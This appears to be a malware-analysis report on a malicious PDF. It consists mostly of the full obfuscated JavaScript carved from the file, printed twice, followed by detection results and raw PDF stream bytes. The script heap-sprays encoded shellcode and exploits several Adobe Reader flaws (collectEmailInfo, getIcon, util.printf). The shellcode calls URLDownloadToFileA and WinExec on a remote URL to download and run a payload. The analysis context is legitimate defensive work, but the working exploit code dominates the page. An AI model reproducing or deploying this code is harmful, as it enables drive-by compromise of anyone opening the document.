function vbOPusNc(vb6ey6Vut){return vb6ey6Vut;}var aJvlnOjm=new Array(9070,18959,19100);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array();var zfBUZF8x;function ozT5jZ5D(wYkUBVd4, ktekUbjH){while(wYkUBVd4.length * 2 < ktekUbjH){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring(0, ktekUbjH / 2);return wYkUBVd4;}function mCMeZdpVP(hbpVkVkFCM){if(hbpVkVkFCM == 0){var l8v9dClzn = 0x0c0c0c0c;}else if(hbpVkVkFCM == 1){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array(\"%u5350%u5\",\"251%u57\",\"56%u9c5\",\"5%u00e8%u0\",\"000%u5d00%\",\"ued83%u3\",\"10d%u64c0%\",\"u4003%u783\",\"0%u8b0c\",\"%u0c40%u70\",\"8b%uad1c%\",\"u408b%\",\"ueb08%u8b0\",\"9%u3440%u\",\"408d%\",\"u8b7c%u\",\"3c40%u5\",\"756%u5eb\",\"e%u0001%u\",\"0100%ubfee\",\"%u014e\",\"%u0000%\",\"uef01%ud6\",\"e8%u0001\",\"%u5f00%\",\"u895e%u81e\",\"a%u5ec2%u0\",\"001%u5200%\",\"u8068%u0\",\"000%uf\",\"f00%u4e9\",\"5%u0001\",\"%u8900%\",\"u81ea%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u359c%u\",\"0263%u\",\"0000%ufb\",\"80%u7\",\"400%u\",\"8806%u\",\"321c%ue\",\"b46%uc\",\"6ee%u3\",\"204%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%\",\"u95ff%u015\",\"2%u0000\",\"%uea89%uc2\",\"81%u0\",\"250%u00\",\"00%u5052%u\",\"95ff%\",\"u0156%\",\"u0000%u006\",\"a%u006a%u\",\"ea89%uc28\",\"1%u015e%u0\",\"000%u89\",\"52%u81ea\",\"%u78c\",\"2%u0002%u\",\"5200%u006a\",\"%ud0ff%u05\",\"6a%uea\",\"89%uc281%\",\"u015e%u\",\"0000%uff\",\"52%u5a95\",\"%u0001%u\",\"8900%u81\",\"ea%u5ec2%u\",\"0001%u\",\"5200%u\",\"8068%u0000\",\"%uff00%u4\",\"e95%u00\",\"01%u89\",\"00%u8\",\"1ea%u5e\",\"c2%u0001\",\"%u310\",\"0%u01f6%u8\",\"ac2%u359c\",\"%u026e%u\",\"0000%ufb80\",\"%u7400%u\",\"8806%\",\"u321c%ueb\",\"46%uc\",\"6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c2%u\",\"0002%u5\",\"200%u95f\",\"f%u0152%u\",\"0000%uea89\",\"%uc281%\",\"u0250\",\"%u0000%u50\",\"52%u95f\",\"f%u0156%u0\",\"000%u006a%\",\"u006a%\",\"uea89%u\",\"c281%u\",\"015e%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002%u520\",\"0%u006a%\",\"ud0ff\",\"%u056a%\",\"uea89%u\",\"c281%u015\",\"e%u0000%uf\",\"f52%u5a95%\",\"u0001%\",\"u9d00%u5\",\"f5d%u5a5e\",\"%u5b59%\",\"uc358%u000\",\"0%u00\",\"00%u0000%\",\"u0000%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u\",\"6547%u5\",\"474%u6\",\"d65%u5070\",\"%u7461\",\"%u4168%u\",\"4c00%u616f\",\"%u4c64\",\"%u6269\",\"%u617\",\"2%u797\",\"2%u0041%\",\"u6547\",\"%u5074%u\",\"6f72%u416\",\"3%u646\",\"4%u6572\",\"%u737\",\"3%u5700%u\",\"6e69%u\",\"7845%\",\"u6365%\",\"ubb00%uf28\",\"9%uf789%\",\"uc030%u7\",\"5ae%u2\",\"9fd%u89\",\"f7%u31f\",\"9%ubec0%u0\",\"03c%u000\",\"0%ub5\",\"03%u021b%u\",\"0000%uad\",\"66%u85\",\"03%u021b%u\",\"0000%u708b\",\"%u8378%\",\"u1cc6\",\"%ub503%u02\",\"1b%u0000%u\",\"bd8d%u021f\",\"%u000\",\"0%u03a\",\"d%u1b85%\",\"u0002%\",\"uab00%u03\",\"ad%u1b8\",\"5%u0002\",\"%u5000%u\",\"adab%\",\"u8503%u021\",\"b%u00\",\"00%u5\",\"eab%u\",\"db31%u\",\"56ad%\",\"u8503%\",\"u021b%u\",\"0000%uc68\",\"9%ud7\",\"89%ufc51%u\",\"a6f3%u7459\",\"%u5e0\",\"4%ueb43%\",\"u5ee9%ud1\",\"93%u03e0\",\"%u2785%u\",\"0002%u3\",\"100%u96\",\"f6%ua\",\"d66%ue0c1\",\"%u0302%u1f\",\"85%u0002\",\"%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%ueb\",\"c3%u0\",\"010%u0000\",\"%u0000%u0\",\"000%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u\",\"8900%u\",\"1b85%u00\",\"02%u5600%\",\"ue857%uff5\",\"8%uffff%u5\",\"e5f%u\",\"01ab%\",\"u80ce%ubb3\",\"e%u0274%\",\"uedeb%\",\"u55c3%u4c\",\"52%u4f4d%\",\"u2e4e%\",\"u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u\",\"776f%u6c\",\"6e%u616\",\"f%u54\",\"64%u4\",\"66f%u6c69\",\"%u4165%u7\",\"500%u\",\"6470%\",\"u7461%u2\",\"e65%u786\",\"5%u0065%u\",\"7263%u7\",\"361%u2e68%\",\"u6870%u00\",\"70%u7468%u\",\"7074%u2f3\",\"a%u742f%u\",\"6172%u6b63\",\"%u7265\",\"%u6c2e%u6b\",\"69%u64\",\"65%u7665\",\"%u6c69%u6\",\"32e%u6d6f\",\"%u352\",\"f%u752\",\"f%u6470%\",\"u7461%\",\"u2e65%u\",\"6870%u3f\",\"70%u6\",\"469%u\",\"333d%u\",\"7226%u\",\"7465%u6\",\"f3d%u0\",\"06b%u90\",\"00\");q9pY6GQ0b = unescape(q9pY6GQ0b.join(\"\"));var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - (va7mY8cM + 0x38);var wYkUBVd4 = unescape(\"%u9090%u9090\");wYkUBVd4 = ozT5jZ5D(wYkUBVd4, ktekUbjH);var n5e4GmGIKa = (l8v9dClzn - 0x400000) / q9sXtOncko;for(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2(){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString();app.clearTimeOut(zfBUZF8x);if((zzRTq7dyO >= 8 && zzRTq7dyO < 8.102) || zzRTq7dyO < 7.1){mCMeZdpVP(0);var bT7jAmo1 = unescape(\"%u0c0c%u0c0c\");while(bT7jAmo1.length < 44952) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\"collabStore\"] = laBXf53Fr[\"collectEmailInfo\"]({subj : \"\", msg : bT7jAmo1});}if((zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104) || (zzRTq7dyO >= 9 && zzRTq7dyO < 9.1) || zzRTq7dyO <= 7.101){try{if(app.doc.Collab.getIcon){mCMeZdpVP(2);var swqUMHj0 = unescape(\"%09\");while(swqUMHj0.length < 0x4000){swqUMHj0 += swqUMHj0;}swqUMHj0 = \"N.\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\"doc\"][\"Collab\"][\"getIcon\"](swqUMHj0);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch(e){rBMniiLJa = 1;}if(rBMniiLJa == 1){if(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1){mCMeZdpVP(1);var upC1McjEWW = \"12999999999999999999\";for(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++){upC1McjEWW += \"8\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\"printf\"](\"%45000f\", upC1McjEWW);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut(\"app.qw53gKJIH()\", 10);';v847Hso8j='ywtF0exopJ';function mrtzccJBY(lgKM5z1y){}var wyxZA3FeX=new Array(27940,8333);var hw7uuCjlG = oFJlWmX8.replace(/[]/g, '');this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'eval';app[mTemA9jcn](hw7uuCjlG);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;
|
|||
generic_stage_recovery_003.js |
deobfuscated-js | generic stage recovery percent-decode from decompressed stream at 0x330F at offset 0x330F | 5786 bytes |
SHA-256: 319ff2ce947dffe1900cf8a77c1819c8e2b18817b1a93d207f85c10e3f859017 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 37 of 65 identifiers look randomly generated (e.g. 'q9sXtOncko') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function vbOPusNc(vb6ey6Vut){return vb6ey6Vut;}var aJvlnOjm=new Array(9070,18959,19100);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array();var zfBUZF8x;function ozT5jZ5D(wYkUBVd4, ktekUbjH){while(wYkUBVd4.length * 2 < ktekUbjH){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring(0, ktekUbjH / 2);return wYkUBVd4;}function mCMeZdpVP(hbpVkVkFCM){if(hbpVkVkFCM == 0){var l8v9dClzn = 0x0c0c0c0c;}else if(hbpVkVkFCM == 1){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array(\"%u5350%u5\",\"251%u57\",\"56%u9c5\",\"5%u00e8%u0\",\"000%u5d00%\",\"ued83%u3\",\"10d%u64c0%\",\"u4003%u783\",\"0%u8b0c\",\"%u0c40%u70\",\"8b%uad1c%\",\"u408b%\",\"ueb08%u8b0\",\"9%u3440%u\",\"408d%\",\"u8b7c%u\",\"3c40%u5\",\"756%u5eb\",\"e%u0001%u\",\"0100%ubfee\",\"%u014e\",\"%u0000%\",\"uef01%ud6\",\"e8%u0001\",\"%u5f00%\",\"u895e%u81e\",\"a%u5ec2%u0\",\"001%u5200%\",\"u8068%u0\",\"000%uf\",\"f00%u4e9\",\"5%u0001\",\"%u8900%\",\"u81ea%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u359c%u\",\"0263%u\",\"0000%ufb\",\"80%u7\",\"400%u\",\"8806%u\",\"321c%ue\",\"b46%uc\",\"6ee%u3\",\"204%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%\",\"u95ff%u015\",\"2%u0000\",\"%uea89%uc2\",\"81%u0\",\"250%u00\",\"00%u5052%u\",\"95ff%\",\"u0156%\",\"u0000%u006\",\"a%u006a%u\",\"ea89%uc28\",\"1%u015e%u0\",\"000%u89\",\"52%u81ea\",\"%u78c\",\"2%u0002%u\",\"5200%u006a\",\"%ud0ff%u05\",\"6a%uea\",\"89%uc281%\",\"u015e%u\",\"0000%uff\",\"52%u5a95\",\"%u0001%u\",\"8900%u81\",\"ea%u5ec2%u\",\"0001%u\",\"5200%u\",\"8068%u0000\",\"%uff00%u4\",\"e95%u00\",\"01%u89\",\"00%u8\",\"1ea%u5e\",\"c2%u0001\",\"%u310\",\"0%u01f6%u8\",\"ac2%u359c\",\"%u026e%u\",\"0000%ufb80\",\"%u7400%u\",\"8806%\",\"u321c%ueb\",\"46%uc\",\"6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c2%u\",\"0002%u5\",\"200%u95f\",\"f%u0152%u\",\"0000%uea89\",\"%uc281%\",\"u0250\",\"%u0000%u50\",\"52%u95f\",\"f%u0156%u0\",\"000%u006a%\",\"u006a%\",\"uea89%u\",\"c281%u\",\"015e%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002%u520\",\"0%u006a%\",\"ud0ff\",\"%u056a%\",\"uea89%u\",\"c281%u015\",\"e%u0000%uf\",\"f52%u5a95%\",\"u0001%\",\"u9d00%u5\",\"f5d%u5a5e\",\"%u5b59%\",\"uc358%u000\",\"0%u00\",\"00%u0000%\",\"u0000%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u\",\"6547%u5\",\"474%u6\",\"d65%u5070\",\"%u7461\",\"%u4168%u\",\"4c00%u616f\",\"%u4c64\",\"%u6269\",\"%u617\",\"2%u797\",\"2%u0041%\",\"u6547\",\"%u5074%u\",\"6f72%u416\",\"3%u646\",\"4%u6572\",\"%u737\",\"3%u5700%u\",\"6e69%u\",\"7845%\",\"u6365%\",\"ubb00%uf28\",\"9%uf789%\",\"uc030%u7\",\"5ae%u2\",\"9fd%u89\",\"f7%u31f\",\"9%ubec0%u0\",\"03c%u000\",\"0%ub5\",\"03%u021b%u\",\"0000%uad\",\"66%u85\",\"03%u021b%u\",\"0000%u708b\",\"%u8378%\",\"u1cc6\",\"%ub503%u02\",\"1b%u0000%u\",\"bd8d%u021f\",\"%u000\",\"0%u03a\",\"d%u1b85%\",\"u0002%\",\"uab00%u03\",\"ad%u1b8\",\"5%u0002\",\"%u5000%u\",\"adab%\",\"u8503%u021\",\"b%u00\",\"00%u5\",\"eab%u\",\"db31%u\",\"56ad%\",\"u8503%\",\"u021b%u\",\"0000%uc68\",\"9%ud7\",\"89%ufc51%u\",\"a6f3%u7459\",\"%u5e0\",\"4%ueb43%\",\"u5ee9%ud1\",\"93%u03e0\",\"%u2785%u\",\"0002%u3\",\"100%u96\",\"f6%ua\",\"d66%ue0c1\",\"%u0302%u1f\",\"85%u0002\",\"%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%ueb\",\"c3%u0\",\"010%u0000\",\"%u0000%u0\",\"000%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u\",\"8900%u\",\"1b85%u00\",\"02%u5600%\",\"ue857%uff5\",\"8%uffff%u5\",\"e5f%u\",\"01ab%\",\"u80ce%ubb3\",\"e%u0274%\",\"uedeb%\",\"u55c3%u4c\",\"52%u4f4d%\",\"u2e4e%\",\"u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u\",\"776f%u6c\",\"6e%u616\",\"f%u54\",\"64%u4\",\"66f%u6c69\",\"%u4165%u7\",\"500%u\",\"6470%\",\"u7461%u2\",\"e65%u786\",\"5%u0065%u\",\"7263%u7\",\"361%u2e68%\",\"u6870%u00\",\"70%u7468%u\",\"7074%u2f3\",\"a%u742f%u\",\"6172%u6b63\",\"%u7265\",\"%u6c2e%u6b\",\"69%u64\",\"65%u7665\",\"%u6c69%u6\",\"32e%u6d6f\",\"%u352\",\"f%u752\",\"f%u6470%\",\"u7461%\",\"u2e65%u\",\"6870%u3f\",\"70%u6\",\"469%u\",\"333d%u\",\"7226%u\",\"7465%u6\",\"f3d%u0\",\"06b%u90\",\"00\");q9pY6GQ0b = unescape(q9pY6GQ0b.join(\"\"));var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - (va7mY8cM + 0x38);var wYkUBVd4 = unescape(\"%u9090%u9090\");wYkUBVd4 = ozT5jZ5D(wYkUBVd4, ktekUbjH);var n5e4GmGIKa = (l8v9dClzn - 0x400000) / q9sXtOncko;for(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2(){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString();app.clearTimeOut(zfBUZF8x);if((zzRTq7dyO >= 8 && zzRTq7dyO < 8.102) || zzRTq7dyO < 7.1){mCMeZdpVP(0);var bT7jAmo1 = unescape(\"%u0c0c%u0c0c\");while(bT7jAmo1.length < 44952) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\"collabStore\"] = laBXf53Fr[\"collectEmailInfo\"]({subj : \"\", msg : bT7jAmo1});}if((zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104) || (zzRTq7dyO >= 9 && zzRTq7dyO < 9.1) || zzRTq7dyO <= 7.101){try{if(app.doc.Collab.getIcon){mCMeZdpVP(2);var swqUMHj0 = unescape(\" \");while(swqUMHj0.length < 0x4000){swqUMHj0 += swqUMHj0;}swqUMHj0 = \"N.\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\"doc\"][\"Collab\"][\"getIcon\"](swqUMHj0);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch(e){rBMniiLJa = 1;}if(rBMniiLJa == 1){if(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1){mCMeZdpVP(1);var upC1McjEWW = \"12999999999999999999\";for(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++){upC1McjEWW += \"8\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\"printf\"](\"E000f\", upC1McjEWW);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut(\"app.qw53gKJIH()\", 10);';v847Hso8j='ywtF0exopJ';function mrtzccJBY(lgKM5z1y){}var wyxZA3FeX=new Array(27940,8333);var hw7uuCjlG = oFJlWmX8.replace(/[]/g, '');this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'e'+'v'+'a'+'l';app[mTemA9jcn](hw7uuCjlG);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;
|
|||
generic_stage_recovery_004.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize from raw PDF metadata at offset 0x0 | 20595 bytes |
SHA-256: 51f28895ce90842b7a850d3f738ae7ae3f738519b3577f3b9221337214ec34a5 |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2811>>
stream
x�՜˒۸ ��� g�d�!%Q��ƙKe*Y�ǙTjj ��@� H��� �mC��nm�v �X � s�p � �xA{
� <6�ǟ�O���x�w���w?Mh �!�]ӏo��=� =y��h LW�JH�<��h6 b|o �Ҋ��GD?h����SZ�o�gG��B|4|�lr�e��"��h9��1��菿$R���F��z��?��/����|2�O�� ���`1y�M����Vf� ��'�` �� ?��� � =�{~�7??~��p�O����� 1��)-�� ZQEq<�Ix|��7������}��K�����2�?Z槲 JRf�� ��:c�H��]i�RѾ�2���}O"-dFU�^S') �*�F��V�VR-e� ��J[P�+\foz��c� N9�U�
帑P�)Q���kH ��Pitmi/ � ��x��R�U�
�_)�� $gb_�� M�mA��] I�
6� 墑�V�+���SڵJ�~�EA�h� tn�*�Zj
� �0��R�Z��J`�J��j�(k��0�~� ٲ�,�[R�b�sʍ���� z
�)K� +�(���Ybbx �ڧ��$�=گ-$ З
U �$�/��� K�.�Z����65%��%5��D@�M)�T�� l� _m���uR� ,���shO���+ۜ`Z� ��O}���p��z#`,qO��0��"d� k�b���g �侄qL��l1���x/�Ԥz q �� x+b
�Bk��S�I ��O}��c�� � >��K!�G)%�/ �p/X��� ��,�%+R#���.��i[ڮ)���juM[x'��h ��&m}� � ��(�#%� N���s!�6��*!W$���T��{ 셹ƀ� 랽M�=�-E �&)[� +[��N�T���l4����5����n�Z��� �� <� �� �� cK Rg@�K ���؋�L�� �
6�j�轂� /
R
� ,f�ȵIEYY�<���3J6������FX� >$� �"�>�D� �D �� �� zF��ଽ��?_8�]� �� � -+ -r'�o�Qt�,� $Nhk9�0�H�U�Q&K � �x �6 , `�-��:�sG� �EB��(KI1�e�X�*d�h���M�*� wΐ�ƘD�?H���Z�W
^�W̍�a�J>2ȧ����8 OC k?$��dS�b�� -�z'N�i H>�M x �� ;z�! GL��/2� vZ$l��=.�!
}��8� ��1tX Y�Ԃ6���ː % O}!�T^&QkJ8"��o�@� X���7]��J� u�c0 � �z�{��A�� P'��k|j � *��U�#�� VN�T��匨b ��t�j��rUuD��F�(�~,�}�0g�'e�mx�(/^9|��� *#UV �w(���������3H���Ɇ�H �A.� \H� ���M��� ً��S���(�� �%�HA{��k �c�r��F���[>�� �rD0&t[#+_��. pV0�R��W�� jF�yP�!G�\c��s �)�p�!do���v��&�RzOk ��2:�9�`���1�� NE�� �1��"
Ps#��� �z��kN�i�t�Hm�|��6�� 6{m� y}Yy{�G����Ft�#Y�Js� +*�� !�a�"��l��+�;� ��N���=W ��7q�9j�R �
'M����p��=%��� ���ik��N<_prOర2 ��f�z���S^�(vk �� � �Om�A3�Y7�V Ac����:{�&� oj���y� � ̭�(d�J� Sim�� �?t2}j[:@����� �wDfN�b��^wy�R��c@�=�� ��[8<]� Ѕ�x�9Qp�4E Zޟ9S�R��� �F�[$P�� ��S���":�:H K� �� �c@$ p� ��S rf��� ��:J�|z��Wi R�� Ƃ�S � ����K, jc��bG�' 8�l9�nD%� Zų�C��k��Y�Ϧ�7W��꘍
� k,֑������đ�[iMϢŭ�� M��9��J�L�P��!C��{� .o�M�d#S$�d�`%Zd�L�� ���Z� �ԣ���a�֝� l X @ ��Kp�� �
�ui�3�� ���jӥK�����we��KA3����i ۧ����m٪�����C� 0a� yO9烫����S��`��J� N�X�u0?����� �_�(�t������:����~[�Ϡ�j$y�I�C ��[�� m�#j��s�D.��|c �UF���--��X A�ܣ������U$�u,� �9�TS��V�U-6FW ��aia�~���S�ҥ��{��/ 2�[�V��LCݧ��c�ж�$� B � �iI 3� �3�&���')��E�1�R�C#� ����Tɸ��U�� Rp O�d \ �� ;�|,��t��d�� �r{����g��*�!�b��[+K'�3� ٟ>� ]� ��^\�� ��+�� ��L �N����\.�0O���y���(3 �*�;uq�ק���� ��r :� �.m%��,>�� �|� ���Ev
�g�9ڠ�
7�D���s+h� ���,/d�F��^}�[:� txO��#P�bI +o
�b�:��x���a擋�� Α�D��%�Զp :<���
X'��z�[�'� ]��O}sG!�G��a�N�\���S�m�[61� �Y���k� �/v ����9Tx�4;�p���h� fD�\c؉60� = ��� ��+ �/�T7u { )��; ;,|���%㧛� 3�p�� K�[:�^�9��� '� i�=�S �c�ý�L�y<�ȟ��{[p������m��n F�C�5� �% �N���Q���������w t � Tg0� - ʘ+6
?��-�.��\ ~���� � p��K�яD=��
� /�~�3S7 �� )��$h ���hv���� p�? ���
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2569>>
stream
x�͛M��� ���+��I � d7���>�b:�d1g �, -�.���]S�]�P �ɢ���`��~<�W���%�ȧ/���_ �_)~>�'��tK i��>�f���ͷ�g��g 3o��->E o��y�E�o x~HII � Џ�~9�=���ۿ:�o��R��O� �&X,�pN� Ft�ү ��T� 4����Ͽ�� |���< �[� a��-��3��� 7<�/k� �{��v7x~�n� ��ӛ�������'��_=0���!b~� - +/XSIQ43����� ��/#"����'���G�G+o�h� � <% ǚ=�3jX�pʕ�(fRz����!�c�RW7���mUB��u�VI� ��R�7Tp�[~��7�DSP�4u9�[m��IW�� �S�|�����V��ӎ����x��W"멖,�G�� �7mQ2JT�*�J��0Y6��Z-r*����6
՚U �ctץ
w �5$ʚ� ��u�%�t�T[� ���%+1����� f� i��� �T�v�����I� ��Ř�Bu�\� zp�Σ�e��Tq�bb Ų�
m!J' � �3�o ��U�}s)o z�G�� mAM�� ���o �8 �Kb-��C [.)g5oh� ��� ���-�0L����h�S�s ���/-��*o���Ņ q��? >s�.�=�]�dKa S����G_:I��0���$"�P9�m{�c � �dC\� F4�� � �k�,��ڂ�zQ�+��85;�� �`��
�8� ̟����I iB��f��vy E�d F�� F�z�r� J�&:q%��Fζ �Q�.F�nqU&q <�3*UmRS� <�z��S�}�쁓P${�Y-���F< �Z3:�a�����9� �� ɣf ���RQ���G���vi��z� hw,&^mU�r> +���1-1K :7 � 5k[�f �F��BHK )x��Ҏ$KS8L �N$�U�QN��� #$, ���%�Q�5H�%.C2�D� #�l� ��{<"E� D� Y�{��� )0(�ρ�{ �* 5ޏ�O��R��RĆTS�� #�zRd�� i%�ڞ�N"��� �-'U`�w
�� *�Ο��*��� �P _�{��Y NF���6�� �BsK,�"� r�1B�"� z.��, ��J z �J� Qޕ"�`� ��� � &��* O �R\h�y� [L�Q X'�
։�x9% K���i � oB�G#��$3�"��K�e 5J�.���2Rl�� ����� �H�S�5�|
�;� ɫ�q��2f�q.�&Z[ �s
�� �0�}W� �
+
L����ieI� ���鈴 +_�q:���ٗJX:+.��G�<��dܕ�J���ҩ��M��`yVO��� |�]�Th��#y�| ��ȲA��� ٌm�y�˭ jL� CB���LB�R ��qC�2Q�
S��H$��
���=rΥ�����4u�B3��G�֗֫ ڴ
!��wJµ�� ^Zמ� � ?$U&�gXV#��� L6� =Z4� 1V�j �.Ņ6뿪����? �Q` 2�s��s�����^D����GxR
�ԍS}� �N38��t,Y� . e��,y=�l ��V� ) �@%g�t�%��V ' ��WJ���%����L��V ��itr�oi��Z ^���MM� e ��}Γf�My�v&z�v�ݘ/,�R3� ���� +��[�N�Y@ �@ �2 �r��l� ̺��U�C��~�kz*-� QDM�ПQʥ�� j��i �9
��Q?j ��ȧD3p���Ѽ��D�C~Ժ?��K}3 ��Jwl�=�\� -�, )?l�� sg^nƾU@ ��X]]c�&�%��N �y`Y��(5�] +��� ��T�[�؍ʓ�R% @A�mͲ�����h��R��fk� ^ R ��� �c�U�4]�� 9�Bl � ��G���֥���A����r� ;m/�V��5XX6��( ����ӕ�턚Υ��E͛A9����h�,_F ��-A���[� �t� �r$3��W ����g���@��65P ����)��+�� Y�Ω8�� �� to� �ȥ��h�{B��ԏ|��߯��"��� �m�0���|L&"a.��ܱ� m�� ��V #!��j�uChS � m�[sH��$�S�O0�I(.�-� � OϨ� ɆI�/E[�c� t:�����k� F /%߅�o�|�z���v߬���S��"�u8 � ���%ȁ�� �� H�]U��� �-@���8�����mځ��KGr k=����
ե�� �\3��;l +N
��w�㎅�M�n�z���Cu���� V� �fC-� � � W�z�? %� �-�'R���Q�ly +K��� j�� )��\�L�
.V��� a�ӱ.Á�u � {`: ;�3
�.�-l� �����=Ա�iٕfqQrSi4��ʥ���Շ���0��|�� N�k���B}�qV�#�ټ?Ԥ=G*� ��� ~3���t�_�Yʴ�3�.{��£� ��W���&'�? г�٦mi9o��� ʄ � �T ؼ���B�O�L@c�\.�� �j;:�z�O�^;��e�� �/ ���|�&����T�k �[[��}s.廿��t�^߾��_}, wN��ˣ݂��͜�~= w�� �0�����72�,�o{ ~5/{_���� ����k�*6��4?R���o� ���:
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2714>>
stream
x��[Ms�8 ��W���v/ � �����$����d����9�$H� %+�~ �c�6%Q��S�*)6-�h��` $K�QH ��~� 9^ �*o�}� �Ǵ > ���/�cѓc E�`��)!%�`��y $8o aLYM?�#�� �r8{F+wvxv _(�G�'�$|M�X �V1 &�9����r�v?j�N��_ �� ��߮�d� � F ��2>\S������ �9�d � ��� x��� ث�7/��Ӈ�O? ���q|: � �h�X њjJ������%��n~���Ҿ<��izX�d , V��SC� MI ��=�J7���� �ӂ T cȴ��8�N� �Lg U�6� 2')j|Kʴ=�S_�<�L��pڔ�ij�)�uN�oq��E �/����:<��Z�Z%Ef �d[Qɶ\��t�� ?�TȾ��4g [˩T5� x b D ��A����"�ט�
���ۀN� +��:Q���lC�d ��� ��sN_ � ���<�� �Tёa� ��[��fq0 s IO�2 �Xd���δ �#���^JjYש�6 K`��{ʔdT���� �L�d@� R�!��'��k��E�)ĭ�!�:D +:����cⰝ�pJՎcx?J)0�,M5�q�� �͘R ��ؓ�;��1� ���� �ɰt�8˱Z: ��� f`�2j ���ޘ�~�|� � ��P�� hԖ�=�� �6 � �
V�� l�PV� �%7^�'\<�ϯ �C )�2�1X��rQ� G��
Q!lF����R �X �-i�[���J� ��{��^�����^����s�m���6��-YZEd ���;�p (� ��P��-��_ }限���.��l�U�g ����� s��JY���+����%��^[nh �"� � B ��b�X-:Lr_"il�L44�� "[�P d�!04p Q6 k &*Y,q� � 9��K �� ,.���D�tZr �A�W �R�-x�5@Z�^ �!�*h"x,� " �d*UPWq�i��C5E F�
�;����&g �� ���� ?����>��� >�����w�l��^` ���d��U�0���Ox �E}+ �������֜� :[ ( Ϥ] ��!m *�*O��L} >�%N��h�d�R� �-$ � 0��r�&�N[.J�ׁ̜tL �1iV �Y�n���� ����<�i�� � �ט����;�ač@��B�
v�wc⭕� D�~g?rjq^� "��U:t�?�� ����NB�-��T�� ��K1� ��AN5#Rm�,����(��r5�'�,� b˽Bsto�߅N֎{�� ^Dzrdy��8**�ܟ � �� ��1�p��5
DP�
g����f>�' Q0�� 9v�%�ȟOl G�# }^ǽ�T�h��쟣���<jp31�W�o �P �[�S��N��.��c鴇 �(�1�Mn�, �P��q�WǓ���ޙ�ʖ� n��q�z� �:��1�%o���i���5.Ӱ N�� H��5� k?K�`L�� '�c�IvY���f \��F�m�+$� {RaӬ��q��B�� Ա�z�Gxi� �p�
